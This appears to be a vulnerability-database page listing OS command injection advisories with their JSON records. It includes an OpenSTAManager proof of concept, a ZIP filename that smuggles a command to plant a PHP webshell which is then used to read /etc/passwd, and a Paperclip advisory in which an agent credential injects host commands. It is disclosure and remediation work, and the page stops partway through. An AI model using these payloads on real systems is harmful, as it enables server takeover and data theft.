CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8366 vulnerabilities reference this CWE, most recent first.
GHSA-258J-7HR2-W66M
Vulnerability from github – Published: 2026-01-29 15:30 – Updated: 2026-01-29 15:30Tea LaTex 1.0 contains a remote code execution vulnerability that allows unauthenticated attackers to execute arbitrary shell commands through the /api.php endpoint. Attackers can craft a malicious LaTeX payload with shell commands that are executed when processed by the application's tex2png API action.
{
"affected": [],
"aliases": [
"CVE-2020-37012"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-29T15:16:08Z",
"severity": "CRITICAL"
},
"details": "Tea LaTex 1.0 contains a remote code execution vulnerability that allows unauthenticated attackers to execute arbitrary shell commands through the /api.php endpoint. Attackers can craft a malicious LaTeX payload with shell commands that are executed when processed by the application\u0027s tex2png API action.",
"id": "GHSA-258j-7hr2-w66m",
"modified": "2026-01-29T15:30:28Z",
"published": "2026-01-29T15:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-37012"
},
{
"type": "WEB",
"url": "https://github.com/ammarfaizi2/latex.teainside.org"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/48805"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/tea-latex-remote-code-execution"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-25FP-8W8P-MX36
Vulnerability from github – Published: 2026-02-06 17:59 – Updated: 2026-02-06 22:11Summary
A critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.
Vulnerable Code
File: src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$content = file_get_contents($file);
$output_file = $directory.'/'.basename($file, '.p7m');
try {
if (function_exists('exec')) {
// VULNERABLE - No input sanitization!
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
The Problem:
- The $file parameter is passed directly into exec() without sanitization
- Although wrapped in double quotes, an attacker can escape them
- The filename comes from uploaded ZIP archives (user-controlled)
Attack Vector
Entry Points:
-
plugins/importFE_ZIP/actions.php:126 (when automatic import is enabled)
php foreach ($files_xml as $xml) { if (string_ends_with($xml, '.p7m')) { $file = XML::decodeP7M($directory.'/'.$xml); // $xml from ZIP! -
plugins/importFE/src/FatturaElettronica.php:56 (constructor)
php if (string_ends_with($name, '.p7m')) { $file = XML::decodeP7M($this->file); // $name from user input!
Attack Flow:
- Attacker creates ZIP with malicious filename
- Upload ZIP via importFE_ZIP plugin
- Application extracts ZIP and iterates files
- For
.p7mfiles,decodeP7M()is called - Malicious filename is injected into
exec()command - Arbitrary command executes as web server user
Proof of Concept
⚠️ IMPORTANT NOTE: PHP's ZipArchive::extractTo() splits filenames on / character. Payload must NOT contain / in commands. Use cd directory && command instead of absolute paths.
Step 1: Create Malicious ZIP
import zipfile
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
Step 2: Upload ZIP
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip
[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"
save
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"
14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"
48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Step 3: Exploitation Result
Response (500 error is expected - XML parsing fails AFTER command execution):
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}
Verification - Webshell Created:
Step 4: Remote Code Execution
Webshell is publicly accessible without authentication:
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
Impact
- Remote Code Execution: Full server compromise
- Data Exfiltration: Access to all application data and database
- Privilege Escalation: Potential escalation if web server runs with elevated privileges
- Persistence: Install backdoors and maintain access
- Lateral Movement: Pivot to other systems on the network
Prerequisites
- Authenticated user with access to invoice import functionality
Remediation
Input Sanitization
public static function decodeP7M($file)
{
// Validate that file path doesn't contain shell metacharacters
if (preg_match('/[;&|`$(){}\\[\\]<>]/', $file)) {
throw new \Exception('Invalid file path');
}
// Better: use escapeshellarg()
$safe_file = escapeshellarg($file);
$safe_output = escapeshellarg($output_file);
exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}
or
Validate Filename Before Processing
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
// Only allow alphanumeric, dots, dashes, underscores
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
continue; // Skip invalid filenames
}
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml);
}
}
Credit
Discovered by: Łukasz Rybak
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "devcode-it/openstamanager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.9.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-69212"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-06T17:59:37Z",
"nvd_published_at": "2026-02-06T19:16:07Z",
"severity": "CRITICAL"
},
"details": "## Summary\nA critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.\n\n\n## Vulnerable Code\n**File:** `src/Util/XML.php:100`\n\n```php\npublic static function decodeP7M($file)\n{\n $directory = pathinfo($file, PATHINFO_DIRNAME);\n $content = file_get_contents($file);\n\n $output_file = $directory.\u0027/\u0027.basename($file, \u0027.p7m\u0027);\n\n try {\n if (function_exists(\u0027exec\u0027)) {\n // VULNERABLE - No input sanitization!\n exec(\u0027openssl smime -verify -noverify -in \"\u0027.$file.\u0027\" -inform DER -out \"\u0027.$output_file.\u0027\"\u0027, $output, $cmd);\n```\n\n**The Problem:**\n- The `$file` parameter is passed directly into `exec()` without sanitization\n- Although wrapped in double quotes, an attacker can escape them\n- The filename comes from uploaded ZIP archives (user-controlled)\n\n## Attack Vector\n\n### Entry Points:\n1. **plugins/importFE_ZIP/actions.php:126** (when automatic import is enabled)\n ```php\n foreach ($files_xml as $xml) {\n if (string_ends_with($xml, \u0027.p7m\u0027)) {\n $file = XML::decodeP7M($directory.\u0027/\u0027.$xml); // $xml from ZIP!\n ```\n\n2. **plugins/importFE/src/FatturaElettronica.php:56** (constructor)\n ```php\n if (string_ends_with($name, \u0027.p7m\u0027)) {\n $file = XML::decodeP7M($this-\u003efile); // $name from user input!\n ```\n\n### Attack Flow:\n1. Attacker creates ZIP with malicious filename\n2. Upload ZIP via importFE_ZIP plugin\n3. Application extracts ZIP and iterates files\n4. For `.p7m` files, `decodeP7M()` is called\n5. Malicious filename is injected into `exec()` command\n6. Arbitrary command executes as web server user\n\n## Proof of Concept\n\n**\u26a0\ufe0f IMPORTANT NOTE:** PHP\u0027s `ZipArchive::extractTo()` splits filenames on `/` character. Payload must NOT contain `/` in commands. Use `cd directory \u0026\u0026 command` instead of absolute paths.\n\n### Step 1: Create Malicious ZIP\n\n```python\nimport zipfile\n\ncmd = \"cd files \u0026\u0026 echo \u0027\u003c?php system($_GET[\\\"c\\\"]); ?\u003e\u0027 \u003e SHELL.php\"\nmalicious_filename = f\u0027invoice.p7m\";{cmd};echo \".p7m\u0027\n\nwith zipfile.ZipFile(\u0027exploit.zip\u0027, \u0027w\u0027) as zf:\n zf.writestr(malicious_filename, b\"DUMMY_P7M_CONTENT\")\n```\n\n### Step 2: Upload ZIP\n\n```http\nPOST /actions.php HTTP/1.1\nHost: localhost:8081\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc\nCookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b\n\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"blob1\"; filename=\"exploit.zip\"\nContent-Type: application/zip\n\n[ZIP CONTENT]\n------WebKitFormBoundaryBKunENXxjEx5VrRc--\nContent-Disposition: form-data; name=\"op\"\n\nsave\n\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"id_module\"\n\n14\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"id_plugin\"\n\n48\n------WebKitFormBoundaryBKunENXxjEx5VrRc--\n```\n\u003cimg width=\"2539\" height=\"809\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f39cf6ad-9e8d-41de-866e-e01ec2064fd1\" /\u003e\n\n\u003cimg width=\"1543\" height=\"659\" alt=\"image\" src=\"https://github.com/user-attachments/assets/41fbd038-0bce-4b1c-bdc3-8ddcf3bf13be\" /\u003e\n\n### Step 3: Exploitation Result\n\n**Response (500 error is expected - XML parsing fails AFTER command execution):**\n```http\nHTTP/1.1 500 Internal Server Error\n{\"error\":{\"type\":\"Exception\",\"message\":\"Start tag expected, \u0027\u003c\u0027 not found\"}}\n```\n\n**Verification - Webshell Created:**\n\n\u003cimg width=\"1111\" height=\"239\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d2e36cf3-c438-4509-be46-36d5c6f3e0d1\" /\u003e\n\n### Step 4: Remote Code Execution\n\n**Webshell is publicly accessible without authentication:**\n\n```bash\n$ curl \"http://localhost:8081/files/SHELL.php?c=id\"\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\n$ curl \"http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd\"\n[Full /etc/passwd output]\n```\n\u003cimg width=\"698\" height=\"475\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7ee4630b-95a8-450c-bdce-d6f703c8168d\" /\u003e\n\n\n## Impact\n\n- **Remote Code Execution:** Full server compromise\n- **Data Exfiltration:** Access to all application data and database\n- **Privilege Escalation:** Potential escalation if web server runs with elevated privileges\n- **Persistence:** Install backdoors and maintain access\n- **Lateral Movement:** Pivot to other systems on the network\n\n## Prerequisites\n\n- Authenticated user with access to invoice import functionality\n\n## Remediation\n\n### Input Sanitization\n\n```php\npublic static function decodeP7M($file)\n{\n // Validate that file path doesn\u0027t contain shell metacharacters\n if (preg_match(\u0027/[;\u0026|`$(){}\\\\[\\\\]\u003c\u003e]/\u0027, $file)) {\n throw new \\Exception(\u0027Invalid file path\u0027);\n }\n\n // Better: use escapeshellarg()\n $safe_file = escapeshellarg($file);\n $safe_output = escapeshellarg($output_file);\n\n exec(\"openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output\", $output, $cmd);\n}\n```\nor\n\n### Validate Filename Before Processing\n\n```php\n// In the upload handler, validate filenames from ZIP\nforeach ($files_xml as $xml) {\n // Only allow alphanumeric, dots, dashes, underscores\n if (!preg_match(\u0027/^[a-zA-Z0-9._-]+$/\u0027, $xml)) {\n continue; // Skip invalid filenames\n }\n\n if (string_ends_with($xml, \u0027.p7m\u0027)) {\n $file = XML::decodeP7M($directory.\u0027/\u0027.$xml);\n }\n}\n```\n\n\n## Credit\nDiscovered by: \u0141ukasz Rybak",
"id": "GHSA-25fp-8w8p-mx36",
"modified": "2026-02-06T22:11:47Z",
"published": "2026-02-06T17:59:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69212"
},
{
"type": "PACKAGE",
"url": "https://github.com/devcode-it/openstamanager"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "OpenSTAManager has an OS Command Injection in P7M File Processing"
}
GHSA-25M3-PW7X-34HV
Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2022-05-24 19:17The WordPress PDF Light Viewer Plugin WordPress plugin before 1.4.12 allows users with Author roles to execute arbitrary OS command on the server via OS Command Injection when invoking Ghostscript.
{
"affected": [],
"aliases": [
"CVE-2021-24684"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-18T14:15:00Z",
"severity": "HIGH"
},
"details": "The WordPress PDF Light Viewer Plugin WordPress plugin before 1.4.12 allows users with Author roles to execute arbitrary OS command on the server via OS Command Injection when invoking Ghostscript.",
"id": "GHSA-25m3-pw7x-34hv",
"modified": "2022-05-24T19:17:47Z",
"published": "2022-05-24T19:17:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24684"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/b5295bf9-8cf6-416e-b215-074742a5fc63"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-264Q-CH9J-7V9C
Vulnerability from github – Published: 2022-05-24 17:12 – Updated: 2023-02-04 00:30This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of TP-Link Archer A7 Firmware Ver: 190726 AC1750 routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the tdpServer service, which listens on UDP port 20002 by default. When parsing the slave_mac parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the root user. Was ZDI-CAN-9650.
{
"affected": [],
"aliases": [
"CVE-2020-10882"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-03-25T21:15:00Z",
"severity": "HIGH"
},
"details": "This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of TP-Link Archer A7 Firmware Ver: 190726 AC1750 routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the tdpServer service, which listens on UDP port 20002 by default. When parsing the slave_mac parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the root user. Was ZDI-CAN-9650.",
"id": "GHSA-264q-ch9j-7v9c",
"modified": "2023-02-04T00:30:37Z",
"published": "2022-05-24T17:12:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10882"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-20-334"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/157255/TP-Link-Archer-A7-C7-Unauthenticated-LAN-Remote-Code-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-265W-RF2W-CJH4
Vulnerability from github – Published: 2026-04-16 22:45 – Updated: 2026-04-24 20:53Summary
Paperclip contains a privilege escalation vulnerability that allows an attacker with an Agent API key to execute arbitrary OS commands on the Paperclip server host. An attacker with an agent credential can escalate privileges from the agent runtime to the Paperclip server host. The vulnerability occurs because agents are allowed to update their own adapterConfig via the /agents/:id API endpoint. The configuration field adapterConfig.workspaceStrategy.provisionCommand is later executed by the server runtime using:
spawn("/bin/sh", ["-c", command])
As a result, an attacker controlling an agent credential can inject arbitrary shell commands which are executed by the Paperclip server during workspace provisioning. This breaks the intended trust boundary between agent runtime configuration and server host execution, allowing a compromised or malicious agent to escalate privileges and run commands on the host system. This vulnerability allows remote code execution on the server host.
Details
Rootcause
Agent configuration can be modified through the API endpoint:
PATCH /api/agents/:id
The validation schema allows arbitrary configuration fields:
adapterConfig: z.record(z.unknown())
This allows attackers to inject arbitrary keys into the adapter configuration object. Later, during workspace provisioning, the server runtime executes a shell command derived directly from this configuration. Relevant code path:
server/src/services/workspace-runtime.ts
adapterConfig.workspaceStrategy.provisionCommand
↓
provisionExecutionWorktree()
↓
runWorkspaceCommand(...)
↓
spawn("/bin/sh", ["-c", input.command])
Example logic:
const provisionCommand = asString(input.strategy.provisionCommand, "").trim()
await runWorkspaceCommand({
command: provisionCommand
})
Inside runWorkspaceCommand the command is executed using:
spawn(shell, ["-c", input.command])
Because no validation, escaping, or allowlist is applied, attacker-controlled configuration becomes a direct OS command execution primitive.
Affected Files
server/src/services/workspace-runtime.ts
Functions involved:
realizeExecutionWorkspace()
provisionExecutionWorktree()
runWorkspaceCommand()
Attacker Model
Required privileges: Attacker needs:
Agent API key
This credential is intended for agent automation and should not grant host-level execution privileges. Agent credentials may also be exposed to external runtimes, plugins, or third-party agent providers. Allowing such credentials to configure host-executed commands creates a privilege escalation vector. No board or administrator access is required.
Attacker Chain
Complete exploit chain:
Attacker obtains Agent API key
↓
PATCH /api/agents/:id
↓
Inject adapterConfig.workspaceStrategy.provisionCommand
↓
POST /api/agents/:id/wakeup
↓
Server executes workspace provisioning
↓
workspace-runtime.ts
↓
spawn("/bin/sh -c")
↓
Arbitrary command execution on server host
Trust Boundary Violation
Paperclip’s architecture assumes the following separation:
Agent runtime
↓
Paperclip control plane
↓
Server host OS
Agents should only perform workflow automation tasks through the orchestration layer.
However, because agent-controlled configuration is executed directly by the server runtime, the boundary collapses:
Agent configuration
↓
Server command execution
This allows an agent to execute commands outside its intended permissions.
Why This Is a Vulnerability (Not Expected Behavior)
The provisionCommand field appears intended for trusted operators configuring workspace strategies. However, the current API design allows agents themselves to modify this configuration. Because agent credentials are designed for automation and may be exposed to agent runtimes, plugins, or external providers, allowing them to configure commands executed by the host introduces a privilege escalation vector. Therefore:
Operator-controlled configuration → expected feature
Agent-controlled configuration → privilege escalation vulnerability
The vulnerability arises from insufficient separation between configuration authority and execution authority.
PoC
The following PoC demonstrates safe command execution by writing a marker file on the server. The PoC does not modify system state beyond creating a file.
Step 1 — Setup Environment
Run Server:
$env:SHELL = "C:\Program Files\Git\bin\sh.exe"
npx paperclipai onboard --yes
Login Claude:
claude
/login
Step 2 — Obtain Agent API key
Create an agent via the UI or CLI and obtain its API key. Example:
pcp_xxxxxxxxxxxxxxxxxxxxx
Step 3 — Identify agent ID
GET /api/agents/me
Step 4 — Inject malicious configuration
PATCH /api/agents/{agentId}
Payload:
PS E:\BucVe\pocrepo> $patchBody = @{
>> adapterConfig = @{
>> workspaceStrategy = @{
>> type = "git_worktree"
>> provisionCommand = "echo PAPERCLIP_RCE > poc_rce.txt"
>> }
>> }
>> } | ConvertTo-Json -Depth 10
Step 5 — Trigger execution
POST /api/agents/{agentId}/wakeup
Step 6 — Verify command execution
The marker file appears on the server filesystem:
~/.paperclip/worktrees/.../poc_rce.txt
Example content:
PAPERCLIP_RCE
This confirms that attacker-controlled commands executed on the server.
Impact
Successful exploitation allows:
Remote command execution on the Paperclip server
Potential attacker actions:
read environment variables
exfiltrate secrets
modify repositories
access database credentials
execute reverse shells
persist on host
Because Paperclip orchestrates multiple agents and repositories, this can lead to full compromise of the deployment environment. This effectively allows a malicious agent to escape the orchestration layer and execute arbitrary commands on the server host.
Recommended Fix
- Restrict configuration authority Agents should not be able to modify execution-sensitive configuration fields. Example mitigation:
deny adapterConfig.workspaceStrategy modification from agent credentials
- Server-side allowlist Only allow trusted configuration keys. Example:
adapterConfig.workspaceStrategy.provisionCommand
should only be configurable by board/admin actors.
- Avoid shell execution Instead of:
spawn("/bin/sh", ["-c", command])
prefer:
spawn(binary, args)
or a restricted command runner.
- Input validation Reject commands containing shell operators:
|
&
;
$
`
- Sandboxed workspace execution Workspace provisioning should run in a restricted environment (container / sandbox).
Minimal Patch Suggestion
One possible mitigation is to prevent agent principals from modifying execution-sensitive configuration fields such as workspaceStrategy.provisionCommand.
For example, during agent configuration updates, the server can explicitly reject this field when the request is authenticated using an Agent API key.
Example TypeScript guard:
// reject agent-controlled provisionCommand
if (
request.auth?.principal === "agent" &&
body?.adapterConfig?.workspaceStrategy?.provisionCommand
) {
throw new Error(
"Agents are not permitted to configure workspaceStrategy.provisionCommand"
);
}
Additionally, the server should avoid executing arbitrary shell commands derived from configuration values. Instead of executing:
spawn("/bin/sh", ["-c", command])
prefer structured execution:
spawn(binary, args)
or restrict the command to a predefined allowlist.
Security Impact Statement
An authenticated attacker with an Agent API key can modify their agent configuration to inject arbitrary shell commands into workspaceStrategy.provisionCommand. These commands are executed by the Paperclip server during workspace provisioning via spawn("/bin/sh", ["-c", command]), resulting in arbitrary command execution on the host system.
Disclosure
This vulnerability was discovered during security research on the Paperclip orchestration runtime. The issue is reported privately to allow maintainers to patch before public disclosure.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@paperclipai/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.416.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41208"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T22:45:26Z",
"nvd_published_at": "2026-04-23T02:16:18Z",
"severity": "HIGH"
},
"details": "### Summary\nPaperclip contains a privilege escalation vulnerability that allows an attacker with an Agent API key to execute arbitrary OS commands on the Paperclip server host.\nAn attacker with an agent credential can escalate privileges from the agent runtime to the Paperclip server host.\nThe vulnerability occurs because agents are allowed to update their own adapterConfig via the /agents/:id API endpoint.\nThe configuration field adapterConfig.workspaceStrategy.provisionCommand is later executed by the server runtime using:\n```\nspawn(\"/bin/sh\", [\"-c\", command])\n```\nAs a result, an attacker controlling an agent credential can inject arbitrary shell commands which are executed by the Paperclip server during workspace provisioning.\nThis breaks the intended trust boundary between agent runtime configuration and server host execution, allowing a compromised or malicious agent to escalate privileges and run commands on the host system.\nThis vulnerability allows remote code execution on the server host.\n\n### Details\n#### Rootcause \nAgent configuration can be modified through the API endpoint:\n```\nPATCH /api/agents/:id\n```\nThe validation schema allows arbitrary configuration fields:\n```\nadapterConfig: z.record(z.unknown())\n```\nThis allows attackers to inject arbitrary keys into the adapter configuration object.\nLater, during workspace provisioning, the server runtime executes a shell command derived directly from this configuration.\nRelevant code path:\n```\nserver/src/services/workspace-runtime.ts\n\nadapterConfig.workspaceStrategy.provisionCommand\n \u2193\nprovisionExecutionWorktree()\n \u2193\nrunWorkspaceCommand(...)\n \u2193\nspawn(\"/bin/sh\", [\"-c\", input.command])\n```\nExample logic:\n```\nconst provisionCommand = asString(input.strategy.provisionCommand, \"\").trim()\n\nawait runWorkspaceCommand({\n command: provisionCommand\n})\n```\nInside runWorkspaceCommand the command is executed using:\n```\nspawn(shell, [\"-c\", input.command])\n```\nBecause no validation, escaping, or allowlist is applied, attacker-controlled configuration becomes a direct OS command execution primitive.\n\n\n#### Affected Files\n```\nserver/src/services/workspace-runtime.ts\n```\nFunctions involved:\n```\nrealizeExecutionWorkspace()\nprovisionExecutionWorktree()\nrunWorkspaceCommand()\n```\n\n#### Attacker Model\nRequired privileges:\nAttacker needs:\n```\nAgent API key\n```\nThis credential is intended for agent automation and should not grant host-level execution privileges.\nAgent credentials may also be exposed to external runtimes, plugins, or third-party agent providers. Allowing such credentials to configure host-executed commands creates a privilege escalation vector.\nNo board or administrator access is required.\n\n#### Attacker Chain\nComplete exploit chain:\n```\nAttacker obtains Agent API key\n \u2193\nPATCH /api/agents/:id\n \u2193\nInject adapterConfig.workspaceStrategy.provisionCommand\n \u2193\nPOST /api/agents/:id/wakeup\n \u2193\nServer executes workspace provisioning\n \u2193\nworkspace-runtime.ts\n \u2193\nspawn(\"/bin/sh -c\")\n \u2193\nArbitrary command execution on server host\n```\n\n#### Trust Boundary Violation\nPaperclip\u2019s architecture assumes the following separation:\n```\nAgent runtime\n \u2193\nPaperclip control plane\n \u2193\nServer host OS\n\nAgents should only perform workflow automation tasks through the orchestration layer.\n\nHowever, because agent-controlled configuration is executed directly by the server runtime, the boundary collapses:\n\nAgent configuration\n \u2193\nServer command execution\n```\nThis allows an agent to execute commands outside its intended permissions.\n\n#### Why This Is a Vulnerability (Not Expected Behavior)\nThe provisionCommand field appears intended for trusted operators configuring workspace strategies.\nHowever, the current API design allows agents themselves to modify this configuration.\nBecause agent credentials are designed for automation and may be exposed to agent runtimes, plugins, or external providers, allowing them to configure commands executed by the host introduces a privilege escalation vector.\nTherefore:\n```\nOperator-controlled configuration \u2192 expected feature\nAgent-controlled configuration \u2192 privilege escalation vulnerability\n```\nThe vulnerability arises from insufficient separation between configuration authority and execution authority.\n\n### PoC\nThe following PoC demonstrates safe command execution by writing a marker file on the server.\nThe PoC does not modify system state beyond creating a file.\n\n#### Step 1 \u2014 Setup Environment\nRun Server:\n```\n$env:SHELL = \"C:\\Program Files\\Git\\bin\\sh.exe\"\nnpx paperclipai onboard --yes\n```\n\u003cimg width=\"1444\" height=\"699\" alt=\"image\" src=\"https://github.com/user-attachments/assets/44401c6d-ec73-4e59-943a-8635d5115c2c\" /\u003e\n\nLogin Claude:\n```\nclaude\n/login\n```\n\n#### Step 2 \u2014 Obtain Agent API key\nCreate an agent via the UI or CLI and obtain its API key.\nExample:\n```\npcp_xxxxxxxxxxxxxxxxxxxxx\n```\n\u003cimg width=\"1457\" height=\"670\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bb1ab898-cf0b-47b1-865a-127ba6fdc43c\" /\u003e\n\n#### Step 3 \u2014 Identify agent ID\n```\nGET /api/agents/me\n```\n\u003cimg width=\"1463\" height=\"639\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cadea916-9e57-4cf4-a11c-7320a22c4ab6\" /\u003e\n\n#### Step 4 \u2014 Inject malicious configuration\n```\nPATCH /api/agents/{agentId}\n```\n\u003cimg width=\"1476\" height=\"697\" alt=\"image\" src=\"https://github.com/user-attachments/assets/612f7a16-b6d6-418e-bcbe-ce602b711b14\" /\u003e\nPayload:\n```\nPS E:\\BucVe\\pocrepo\u003e $patchBody = @{\n\u003e\u003e adapterConfig = @{\n\u003e\u003e workspaceStrategy = @{\n\u003e\u003e type = \"git_worktree\"\n\u003e\u003e provisionCommand = \"echo PAPERCLIP_RCE \u003e poc_rce.txt\"\n\u003e\u003e }\n\u003e\u003e }\n\u003e\u003e } | ConvertTo-Json -Depth 10\n```\n\n#### Step 5 \u2014 Trigger execution\n```\nPOST /api/agents/{agentId}/wakeup\n```\n\u003cimg width=\"1472\" height=\"675\" alt=\"image\" src=\"https://github.com/user-attachments/assets/268c7322-a5f5-4f3a-a4d4-b43efbecb20e\" /\u003e\n\n#### Step 6 \u2014 Verify command execution\n\u003cimg width=\"1231\" height=\"347\" alt=\"image\" src=\"https://github.com/user-attachments/assets/559c483b-077e-42dd-9309-6a5e5c6a3bdc\" /\u003e\nThe marker file appears on the server filesystem:\n```\n~/.paperclip/worktrees/.../poc_rce.txt\n```\nExample content:\n```\nPAPERCLIP_RCE\n```\nThis confirms that attacker-controlled commands executed on the server.\n\n### Impact\nSuccessful exploitation allows:\n```\nRemote command execution on the Paperclip server\n```\nPotential attacker actions:\n```\nread environment variables\nexfiltrate secrets\nmodify repositories\naccess database credentials\nexecute reverse shells\npersist on host\n```\nBecause Paperclip orchestrates multiple agents and repositories, this can lead to full compromise of the deployment environment.\nThis effectively allows a malicious agent to escape the orchestration layer and execute arbitrary commands on the server host.\n\n### Recommended Fix\n1. Restrict configuration authority\nAgents should not be able to modify execution-sensitive configuration fields.\nExample mitigation:\n```\ndeny adapterConfig.workspaceStrategy modification from agent credentials\n```\n2. Server-side allowlist\nOnly allow trusted configuration keys.\nExample:\n```\nadapterConfig.workspaceStrategy.provisionCommand\n\nshould only be configurable by board/admin actors.\n```\n3. Avoid shell execution\nInstead of:\n```\nspawn(\"/bin/sh\", [\"-c\", command])\n```\nprefer:\n```\nspawn(binary, args)\n```\nor a restricted command runner.\n\n4. Input validation\nReject commands containing shell operators:\n```\n|\n\u0026\n;\n$\n`\n```\n5. Sandboxed workspace execution\nWorkspace provisioning should run in a restricted environment (container / sandbox).\n\n### Minimal Patch Suggestion\nOne possible mitigation is to prevent agent principals from modifying execution-sensitive configuration fields such as `workspaceStrategy.provisionCommand`.\nFor example, during agent configuration updates, the server can explicitly reject this field when the request is authenticated using an Agent API key.\nExample TypeScript guard:\n\n```ts\n// reject agent-controlled provisionCommand\nif (\n request.auth?.principal === \"agent\" \u0026\u0026\n body?.adapterConfig?.workspaceStrategy?.provisionCommand\n) {\n throw new 